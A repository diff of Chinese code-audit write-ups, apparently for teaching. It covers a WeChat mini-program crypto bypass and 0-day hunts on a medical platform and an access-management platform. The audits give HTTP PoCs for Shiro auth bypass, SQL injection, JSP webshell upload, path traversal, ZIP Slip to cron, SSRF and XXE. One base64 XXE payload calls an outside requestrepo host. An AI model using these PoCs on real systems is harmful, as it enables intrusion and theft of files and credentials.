|
||||
```python
|
||||
"040AE4C7...".lstrip("04") → "AE4C7..." # 错误!丢失了 0
|
||||
"040AE4C7..."[2:] → "0AE4C7..." # 正确
|
||||
```
|
||||
|
||||
当公钥 X 坐标以 `7` 开头时两者结果恰好一致,掩盖了此 bug。
|
||||
|
||||
|
||||
#### 3.3.2 坑点 2:SM3 签名字符串大小写
|
||||
|
||||
|
||||
数据密文 `data` 的 hex 大小写直接影响 SM3 签名结果。原始客户端输出小写 hex,而 Python `bytes.hex()` 默认大写,导致 `SM3("data=<DATA>&secretKey=<SK>&shareKey=<SK>")` 不匹配。修复:统一使用小写 hex。
|
||||
|
||||
|
||||
#### 3.3.3 坑点 3:C3 计算中的 KDF 输入
|
||||
|
||||
|
||||
gmssl 的 `sm3_kdf` 接收 `xy.encode("utf8")` 后内部做 `bytes.fromhex(xy_hex_str)` 得到 64 字节的 x2||y2 原始字节,再拼接计数器进行 SM3 迭代。JavaScript 端也采用完全相同的逻辑,二者 KDF 输出一致。
|
||||
|
||||
最终确认双方 SM2 算法实现等价,但服务端兼容性问题导致必须绕过 SM2 重新加密环节,改用在请求体未变更时复用原始 secretKey 的策略。
|
||||
|
||||
|
||||
### 3.4 MCP 注入与 WebSocket 通信
|
||||
|
||||
|
||||
通过微信开发者工具的 CDP 接口建立 WebSocket 连接,在 `appservice` 上下文(context\_id=4)中执行 JavaScript 注入代码。
|
||||
|
||||
MCP SSE 端点:`http://127.0.0.1:4554/sse`
|
||||
|
||||
注入时机:在 `wx.request` 被调用前完成 `Math.random` 和 `wx.request` 的双重 Hook。
|
||||
|
||||
|
||||
## 四、Galaxy Hook 架构设计
|
||||
|
||||
|
||||
|
||||
### 4.1 整体流程分析清楚后,直接开始ai赋能编写脚本
|
||||
|
||||
|
||||
```
|
||||
小程序 → wx.request → Galaxy 拦截 → hookRequestToBurp(解密展示)
|
||||
↓
|
||||
Burp 中可修改解密后内容
|
||||
↓
|
||||
hookRequestToServer(重新加密)
|
||||
↓
|
||||
真实服务端
|
||||
↓
|
||||
响应 → hookResponseToBurp(解密展示)
|
||||
↓
|
||||
hookResponseToClient(重新加密)
|
||||
↓
|
||||
小程序客户端
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
### 4.2 关键决策点
|
||||
|
||||
|
||||
请求加密:
|
||||
|
||||
●优先尝试完整的重新加密(SM4 + SM2 + SM3)
|
||||
|
||||
●当请求体未变化时,复用原始 secretKey 避免 SM2 服务端兼容问题
|
||||
|
||||
响应解密:使用从请求恢复的 shareKey 直接解密 `retData`
|
||||
|
||||
响应重加密:SM4-CBC + SM3 重新计算 `retSign`
|
||||
|
||||
|
||||
### 4.3 数据流标记系统
|
||||
|
||||
|
||||
使用 `_jmWx7e16` 标记字段防止递归 Hook:
|
||||
|
||||
|
||||
```python
|
||||
MARKER = "_jmWx7e16"
|
||||
marked = {
|
||||
MARKER: {"app": "...", "direction": "request", "shareKey": key_hex},
|
||||
"_decrypted": decrypted_obj, # 解密后的业务 JSON
|
||||
"_original": body_text, # 原始密文字符串
|
||||
}
|
||||
```
|
||||
|
||||
## 五、最终成果验证
|
||||
|
||||
|
||||
成功实现 Burp Suite 中透明展示解密后的明文请求/响应,并可修改后自动重新加密发送。核心指标:
|
||||
|
||||
|
||||
| 指标 | 数值 |
|
||||
| --- | --- |
|
||||
| shareKey 恢复成功率 | ~100%(候选 #1) |
|
||||
| shareKey 恢复耗时 | <2s |
|
||||
| 请求解密正确率 | 100% |
|
||||
| 响应解密正确率 | 100% |
|
||||
| 响应重加密客户端验签通过率 | 100% |
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
## 六、经验总结
|
||||
|
||||
|
||||
1 Math.random 不安全:使用 `Math.random()` 生成密钥是致命设计缺陷。应使用 `crypto.getRandomValues()` 或 `wx.getRandomValues()` 等密码学安全随机数生成器。
|
||||
2 国密算法实现差异:不同语言/库的 SM2 实现在公钥格式、C1C2C3/C1C3C2 模式、ASN.1 编码等细节上存在大量差异,跨语言实现时需逐字节验证。
|
||||
3 CDP + MCP 是利器:微信开发者工具的 CDP 接口为小程序安全评估提供了巨大的便利,WebSocket MCP SSE 端点可动态注入任意 JavaScript。
|
||||
4 多层防御思维:仅加密传输层远远不够,密钥管理、随机数质量、服务端校验、频率限制等环节缺一不可。
|
||||
附录:\[本次使用到的工具如下,感谢如下开源作者\]
|
||||
|
||||
[https://github.com/Spade-sec/First](https://github.com/Spade-sec/First)
|
||||
|
||||
[https://github.com/outlaws-bai/Galaxy](https://github.com/outlaws-bai/Galaxy)
|
||||
|
||||
[https://github.com/TideSec/TscanPlus](https://github.com/TideSec/TscanPlus)
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,298 @@
|
||||
# 某医疗平台审计与0Day挖掘
|
||||
|
||||
> 来源:https://xz.aliyun.com/news/92462
|
||||
|
||||
# 介绍
|
||||
|
||||
|
||||
某医疗平台,学员给的源码,资产还蛮多
|
||||
|
||||
鹰图:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
# 项目分析
|
||||
|
||||
|
||||
通过web.xml和项目的配置文件分析,项目是spring MVC项目,鉴权采用shiro,前端采用html
|
||||
|
||||
|
||||

|
||||
|
||||
整体架构相对比较简单,也没配置额外的servlet,主要审计controller
|
||||
|
||||
|
||||
# 鉴权分析
|
||||
|
||||
|
||||
项目采用shiro,那么分析的点主要如下:
|
||||
|
||||
1鉴权绕过
|
||||
|
||||
ashiro本身的版本漏洞,能否利用
|
||||
|
||||
b是否有自定义鉴权实现然后覆盖默认的shiro鉴权逻辑,是否存在绕过
|
||||
|
||||
2白名单路由提取
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
项目的版本是1.5.3,符合的有
|
||||
|
||||
|
||||
| CVE | 影响版本 | 利用方式 |
|
||||
| --- | --- | --- |
|
||||
| CVE-2020-17523 | < 1.7.0 | /%2e/index.html 或 /../index.html(URL 编码的 .) |
|
||||
| CVE-2021-41303 | < 1.8.0 | /static/..;/api/admin(; 路径参数) |
|
||||
| CVE-2023-22602 | < 1.11.0 | /anon;/../admin(; 参数 + servlet path 解析不一致) |
|
||||
|
||||
|
||||
然后项目其实采用的是自定义的filter覆盖shiro的默认filter,但是filter实现采用的还是shiro自带的鉴权逻辑,所以还是打历史漏洞,这里是实测符合CVE-2021-41303的利用条件,直接鉴权绕过,那么这里其实可以不去提取白名单路由了,但是这个修复比较简单,最好还是审前台能直接触发的接口
|
||||
|
||||
查看配置文件看下白名单路由,也可以直接搜索anon
|
||||
|
||||
|
||||

|
||||
|
||||
主要寻找带有`**`的泛规则,这里主要的是
|
||||
|
||||
●/v3/\*\*
|
||||
|
||||
●/api/\*\*/anon/\*\*
|
||||
|
||||
●/app/\*\*/anon/\*\*
|
||||
|
||||
这里可以直接使用正则去快速提取,这里演示个简单的,实际可以写个更准确的
|
||||
|
||||
`@request.*?anon`
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
直接就可以快速匹配,这套系统的前台接口还挺多,还有一堆子接口
|
||||
|
||||
|
||||
# 漏洞审计
|
||||
|
||||
|
||||
|
||||
## sql注入
|
||||
|
||||
|
||||
先判断是mybatis还是非mybatis的,通过搜索项目没有mybatis依赖和写法,那么就是JDBC一类的,找拼接,搜索where或者append,但是我自己手工审计的时候还是比较喜欢写正则,因为有的系统可能大部分接口都是预编译写法,只有少部分是拼接,但是在刚开始审计的时候没办法快速定位,我对于jdbc一类项目sql注入审计搜索的逻辑是
|
||||
|
||||
先搜索常规查询看是否预编译——>编写正则搜索非预编译查询——>搜索常规无法直接预编译的写法——>寻找完全可控的sql执行功能
|
||||
|
||||
大概是这样
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
例如这套,大部分sql操作接口都是预编译的写法,那么就可以根据写法编写筛选正则
|
||||
|
||||
例如:`\.append\([^)]*\+[^)]*\)`
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
当然这个正则是根据实际的情况去编写的,我一直觉得这种方式筛起来会很快,找到一处疑似注入后,分析总结特点,然后编写其余正则,我之前在大型项目中几千条sql操作找到为数不多的注入就是这样审的
|
||||
|
||||
然后这套注入还蛮多的,我这里演示一处
|
||||
|
||||
xxxxxReportService.java的find方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
这里方法传递keyWorld参数,然后只进行空判断,不为空则拼接进hql,跟进方法调用
|
||||
|
||||
SysStoreReportController.java的find方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
通过路由参数传递,完全可控,存在注入
|
||||
|
||||
然后接口是后台的要搭配我们前面审计的shiro版本绕过
|
||||
|
||||
poc
|
||||
|
||||
```
|
||||
GET /static/..;/api/aaa/ccc/bbb/find?flag=condition&keyWorld=注入点
|
||||
Host:
|
||||
```
|
||||
|
||||
## 文件上传
|
||||
|
||||
|
||||
这套系统的文件上传接口其实很多,但是有四种情况:
|
||||
|
||||
1、保存本地但是落盘文件名是hash无后缀
|
||||
|
||||
2、任意文件上传OSS
|
||||
|
||||
3、上传也落盘但是有白名单无法绕过
|
||||
|
||||
4、任意文件上传落盘本地无后缀限制
|
||||
|
||||
当时给学员上课的时候现场审的只找到一处
|
||||
|
||||
aaxxFileManagerController.java的fileUpload方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
遍历表单上传的文件,然后new一个Upload,去赋值参数
|
||||
|
||||
审计文件上传,1、先看是否有落盘操作,2、再看文件后缀是否可控,3、分析流是否有其余过滤或者不可控因素
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
落盘文件文件名是uptemp.key加ext
|
||||
|
||||
|
||||

|
||||
|
||||
key等于文件内容md5加密,重点关注文件后缀
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
originalName是原始文件名,跟进extractFileExt方法
|
||||
|
||||
|
||||

|
||||
|
||||
就是简单的获取文件后缀,这里没有黑白名单判断,存在任意文件上传
|
||||
|
||||
|
||||
```
|
||||
POST /static/..;/api/aaat/bbb/ccc/ddd/upload HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="files"; filename="cmd.jsp"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
111
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="lx"
|
||||
|
||||
..\
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
|
||||
## 文件读取
|
||||
|
||||
|
||||
ccccController.java的getBImgs和getSImgs
|
||||
|
||||
这里两个方法实现基本一致,就分析一个
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
文件读取审计,先找读取的文件构造,这里是69行的filePath,filePath的实现在63,一个三元运算符,判断fileName是否有/然后拼接,这里是判断fileName是否是纯文件,如果有/就提取最后一个/后面的内容,也就是文件名,这里不重要因为拼接的文件路径fileMl是我们可控的,就是有个前条件61行会通过数据库查看文件路径,这里数据库种得有对应的数据,不然会报错
|
||||
|
||||
poc:
|
||||
|
||||
```
|
||||
GET /static/..;/api/aaa/bbb/ccc?fileName=../../WEB-INF/web.xml&fileMl=/ HTTP/1.1
|
||||
Host:
|
||||
```
|
||||
|
||||
## SSRF
|
||||
|
||||
|
||||
这套系统其实有很多处ssrf,但是都有http协议强转,我也是审了一坤分钟找到处没有协议限制的前台SSRF
|
||||
|
||||
HttpUtils.java的getImage方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
传参url然后构造发送请求,把回显数据存储到data,跟进调用
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
url通过request.getParameter获取,然后getData输出到response中
|
||||
|
||||
poc:
|
||||
|
||||
|
||||
```
|
||||
GET /api/aaa/bbb/proxyimage?url=http://dnslog HTTP/1.1
|
||||
Host:
|
||||
```
|
||||
|
||||
## XXE
|
||||
|
||||
|
||||
危险函数:DocumentHelper.parseText
|
||||
|
||||
DBRelationsController.java的receiveEventNotifyFromDB方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
采用dom4j进行xml解析,项目的dom4j是低版本存在xxe漏洞,这里接收的xml代码直接通过路由参数传递
|
||||
|
||||
poc:
|
||||
|
||||
|
||||
```
|
||||
POST /aaa/vvv/ccc/fromdb/anon HTTP/1.1
|
||||
Host:
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
|
||||
]>
|
||||
<root>
|
||||
<notifyType>&xxe;</notifyType>
|
||||
<tableName>test</tableName>
|
||||
<content>test</content>
|
||||
<desc>test</desc>
|
||||
<createDate>2026-07-08</createDate>
|
||||
</root>
|
||||
```
|
||||
@@ -0,0 +1,478 @@
|
||||
# 某盾am平台代码审计
|
||||
> 来源:https://xz.aliyun.com/news/92494
|
||||
|
||||
# 前言
|
||||
|
||||
|
||||
|
||||
|
||||
网上披露的框架本身的漏洞就不说了,主要审计业务代码问题
|
||||
|
||||
|
||||
|
||||
鹰图:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
# 项目分析
|
||||
|
||||
|
||||
项目解压WAR部署的,看了下web.xml,配了4个DispatcherServlet分别处理`/controller/*`、`/rest/*`、`/api/*`、`/webauth/*`,鉴权用的Shiro,配在Spring的XML里
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
架构比较简单,shiro+spirngMvc+Hibernate,不涉及jsp,然后有一些servlet,主要审计Controller层和自定义的servlet,一共反编译了1572个class文件
|
||||
|
||||
|
||||
# 鉴权分析
|
||||
|
||||
|
||||
项目用Shiro做鉴权,那么分析的点:
|
||||
|
||||
1鉴权绕过
|
||||
|
||||
aShiro版本漏洞能不能打
|
||||
|
||||
b有没有自定义filter覆盖默认逻辑
|
||||
|
||||
2白名单路由提取
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
看了下,这套系统Shiro配置没用到anon,也没自定义filter,全是authc+roles默认filter,版本看jar包也不是低版本有漏洞的,所以Shiro绕过这条路走不通
|
||||
|
||||
那就得看哪些路由没配Shiro规则,或者只走了别的filter没走Shiro
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
整理下adminShiroFilter的路由覆盖情况:
|
||||
|
||||
|
||||
| 前缀 | Shiro规则 | 保护情况 |
|
||||
| --- | --- | --- |
|
||||
| /controller/operator/** | authc, roles[systemViewer] | 有 |
|
||||
| /controller/system/** | authc, roles[systemViewer] | 有 |
|
||||
| /controller/tenant/** | authc, roles[tenantViewer] | 有 |
|
||||
| /controller/user/** | authc | 有 |
|
||||
| /operator/** | authc, roles[systemViewer] | 有 |
|
||||
| /tenant/** | authc, roles[tenantViewer] | 有 |
|
||||
| /user/** | authc | 有 |
|
||||
| /controller/admin/** | 无规则 | 没配 |
|
||||
| /controller/portal/** | 无规则 | 没配 |
|
||||
| /controller/unprotected/** | 无规则 | 没配 |
|
||||
|
||||
|
||||
然后selfHelpShiroFilter只有/user/selfHelp/和/controller/user/selfHelp/两条
|
||||
|
||||
所以`/controller/admin/**`和`/controller/portal/**`和`/controller/unprotected/**`都没走Shiro,其中`/controller/admin/getPasswordRequirement`这些接口就暴露了
|
||||
|
||||
另外`/controller/portal/*`走了portalContextFilter做上下文校验,不是完全匿名,但是`/controller/unprotected/portal/external/login`能创建外部用户,风险还是比较大
|
||||
|
||||
|
||||
# 漏洞审计
|
||||
|
||||
|
||||
|
||||
## SQL注入
|
||||
|
||||
|
||||
还是按照我的习惯,先判断是不是Mybatis,看了下依赖没有Mybatis,项目用的Hibernate,那么搜索where或者append找拼接
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
大部分查了下都是预编译的,那么按照思路去找无法常规预编译的点,最终筛选到了一处疑似ORDER BY的拼接
|
||||
|
||||
HibernateUserMonthlyRecordRepository.java的orderByUtils方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
接收orderBy和order参数,然后拼接orderBy,查找方法调用
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
5 处调用,挑一处跟下
|
||||
|
||||
HibernateUserMonthlyRecordRepository的list方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
跟调用到UserPortalStatisticService.java的getMonthlyUserRecords方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
最后跟到controller,aaaaController.java的getMonthlyUserRecord方法
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
参数可控,存在注入
|
||||
|
||||
poc:
|
||||
|
||||
```
|
||||
GET /aaa/bbb/ccc/ddd/monthly?month=1719763200000&orderBy=updatexml(1,concat(1,user()),1)&startRow=0&maxResults=10
|
||||
Host:
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Sec-Fetch-Mode: cors
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Sec-Fetch-Site: same-origin
|
||||
Referer: http://127.0.0.1:8080/am/login/login.html
|
||||
sec-ch-ua-mobile: ?0
|
||||
Sec-Fetch-Dest: empty
|
||||
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
|
||||
sec-ch-ua-platform: "Windows"
|
||||
Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
后续分析其余几个调用都能跟踪到controller,且数据流通可注入
|
||||
|
||||
|
||||
## 文件上传
|
||||
|
||||
|
||||
这套系统的上传接口挺多的,十几个,分了两种情况
|
||||
|
||||
第一种:无任何后缀校验(大概10处,高危)
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
这里跟一处演示下
|
||||
|
||||
SelfxxxxConfigsService.java的uploadFile
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
保存的文件通过FilenameUtils.concat((String)parent, (String)name)方法凭据,都是方法调用传参,跟进调用
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
跟到controller
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
fileName是上传文件的原始文件名,过程中无后缀限制存在任意文件上传
|
||||
|
||||
```
|
||||
POST /am/aaa/bbb/ccc/file/upload HTTP/1.1
|
||||
Host:
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Sec-Fetch-Mode: cors
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Sec-Fetch-Site: same-origin
|
||||
sec-ch-ua-mobile: ?0
|
||||
Sec-Fetch-Dest: empty
|
||||
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
|
||||
sec-ch-ua-platform: "Windows"
|
||||
Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="type"
|
||||
|
||||
logoImg
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="file"; filename="shell.jsp"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<% 123
|
||||
%>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
第二种:限制了文件后缀(2处)
|
||||
|
||||
TimexxxxController的upload/tokens只判断了.xml
|
||||
|
||||
|
||||
```
|
||||
if (!originalFilename.endsWith(".xml") && !originalFilename.endsWith(".XML")) {
|
||||
return ResponseData.error(...);
|
||||
}
|
||||
```
|
||||
|
||||
## ZIP解压RCE
|
||||
|
||||
|
||||
这个其实可以算是文件上传的第三种类型,系统有几处ZIP解压操作,全都有ZIP Slip问题
|
||||
|
||||
MainxxxxUpdateService.unZip() — 最严重的,啥校验都没有
|
||||
|
||||
|
||||
```
|
||||
private static void unZip(File src, File des) throws IOException {
|
||||
ZipFile zipFile = new ZipFile(src);
|
||||
Enumeration files = zipFile.getEntries();
|
||||
while (files.hasMoreElements()) {
|
||||
ZipArchiveEntry entry = (ZipArchiveEntry)files.nextElement();
|
||||
String zipName = entry.getName();
|
||||
File zipEntryFile = new File(des, zipName); // 用户可控,无校验
|
||||
FileOutputStream fos = new FileOutputStream(zipEntryFile);
|
||||
IOUtils.copy(is, fos);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
`entry.getName()`直接取出来new File,ZIP里写`../../etc/cron.d/evil`就能穿出去。可上传恶意ZIP直接RCE
|
||||
|
||||
还有两处在PackagexxxxTemplateManager和PackaxxxxtalPageService
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
虽然检查了ZIP里有没有.jsp,有就抛异常,但是这里可以目录穿越覆盖计划任务等高危文件
|
||||
|
||||
测试构造一个恶意的zip
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
上传测试
|
||||
|
||||
poc:
|
||||
|
||||
|
||||
```
|
||||
POST /am/xxx/aaa/replaceWithZipBundle HTTP/1.1
|
||||
Host:
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Sec-Fetch-Mode: cors
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Sec-Fetch-Site: same-origin
|
||||
sec-ch-ua-mobile: ?0
|
||||
Sec-Fetch-Dest: empty
|
||||
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
|
||||
sec-ch-ua-platform: "Windows"
|
||||
Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="realmId"
|
||||
|
||||
00000000-0000-0000-0000-000000000010
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="type"
|
||||
|
||||
1
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="platform"
|
||||
|
||||
1
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="file"; filename="evil.zip"
|
||||
Content-Type: application/zip
|
||||
|
||||
{{file(evil_poc_final.zip)}}
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
访问
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
## 文件读取(路径遍历)
|
||||
|
||||
|
||||
PackagexxxxxPageService.java的getFile方法会获取文件路径
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
定位方法调用
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
其中PackagexxxxxPageService.java的getFileText方法使用了FileUtils.readFileToString读取文件内容,跟进方法调用
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
path完全可控,读取的内容输出到ResponseData
|
||||
|
||||
poc:
|
||||
|
||||
|
||||
```
|
||||
GET /am/aaa/vvv/ccc/file/text?realmId=00000000-0000-0000-0000-000000000010&type=1&platform=1&path=../../../../../../local/db.conf HTTP/1.1
|
||||
Host:
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Sec-Fetch-Mode: cors
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Sec-Fetch-Site: same-origin
|
||||
sec-ch-ua-mobile: ?0
|
||||
Sec-Fetch-Dest: empty
|
||||
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
|
||||
sec-ch-ua-platform: "Windows"
|
||||
Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
## XXE
|
||||
|
||||
|
||||
审计关键词:DocumentBuilderFactory.newInstance()
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
private XMLObject getXMLObject(String xmlString) ... {
|
||||
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
|
||||
factory.setNamespaceAware(true);
|
||||
// 没配XXE防护:
|
||||
// disallow-doctype-decl = true
|
||||
// external-general-entities = false
|
||||
// external-parameter-entities = false
|
||||
Document document = factory.newDocumentBuilder().parse(stream);
|
||||
}
|
||||
```
|
||||
|
||||
跟进调用
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
而且这个接口`/aaaa/bbbbb/saml2/acs`是没鉴权的,不在Shiro规则里
|
||||
|
||||
关键的触发链路是XML解析在SAML签名验证前面,就算签名不对,XXE也已经触发了:
|
||||
|
||||
|
||||
```
|
||||
POST /aaaa/bbbbb/saml2/acs
|
||||
SAMLResponse=base64(xxe_payload)
|
||||
→ 解码 → getXMLObject() → DocumentBuilder.parse() → XXE触发
|
||||
→ 然后才签名验证(已经晚了)
|
||||
```
|
||||
|
||||
POC:
|
||||
|
||||
|
||||
```
|
||||
POST /am/aaa/vvv/saml2/acs HTTP/1.1
|
||||
Host:
|
||||
sec-ch-ua-mobile: ?0
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Sec-Fetch-Dest: document
|
||||
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
|
||||
Sec-Fetch-Mode: navigate
|
||||
sec-ch-ua-platform: "Windows"
|
||||
Sec-Fetch-Site: none
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Sec-Fetch-User: ?1
|
||||
Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KICA8IURPQ1RZUEUgZm9vIFsKICAgIDwhRU5USVRZIHh4ZSBTWVNURU0gImh0dHA6Ly93cmU5MGo3ai5yZXF1ZXN0cmVwby5jb20veHhlIj4KICBdPgogIDxzYW1scDpSZXNwb25zZSB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiBJRD0idGVzdCIgVmVyc2lvbj0iMi4wIgogIElzc3VlSW5zdGFudD0iMjAyNC0wMS0wMVQwMDowMDowMFoiPgogICAgPHNhbWw6SXNzdWVyIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iPiZ4eGU7PC9zYW1sOklzc3Vlcj4KICAgIDxzYW1scDpTdGF0dXM+CiAgICAgIDxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz4KICAgIDwvc2FtbHA6U3RhdHVzPgogIDwvc2FtbHA6UmVzcG9uc2U+
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
@@ -0,0 +1,440 @@
|
||||
# 漏洞篇 - CC1 链之 ysoserial 版
|
||||
> 2024-05-12
|
||||
> 来源:https://changeyourway.github.io/2024/05/12/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-CC1%E9%93%BEysoserial%E7%89%88/
|
||||
|
||||
在前面学习 CC1 链时,我们使用 TransformedMap 作为利用链,但其实除了 TransformedMap 之外,还有 DefaultedMap 和 LazyMap 也可以作为利用链,它们都在 org.apache.commons.collections.map 包下。这一节我们来分析 ysoserial 工具中利用的 CC1 链,它是将 LazyMap 作为利用链的。
|
||||
|
||||
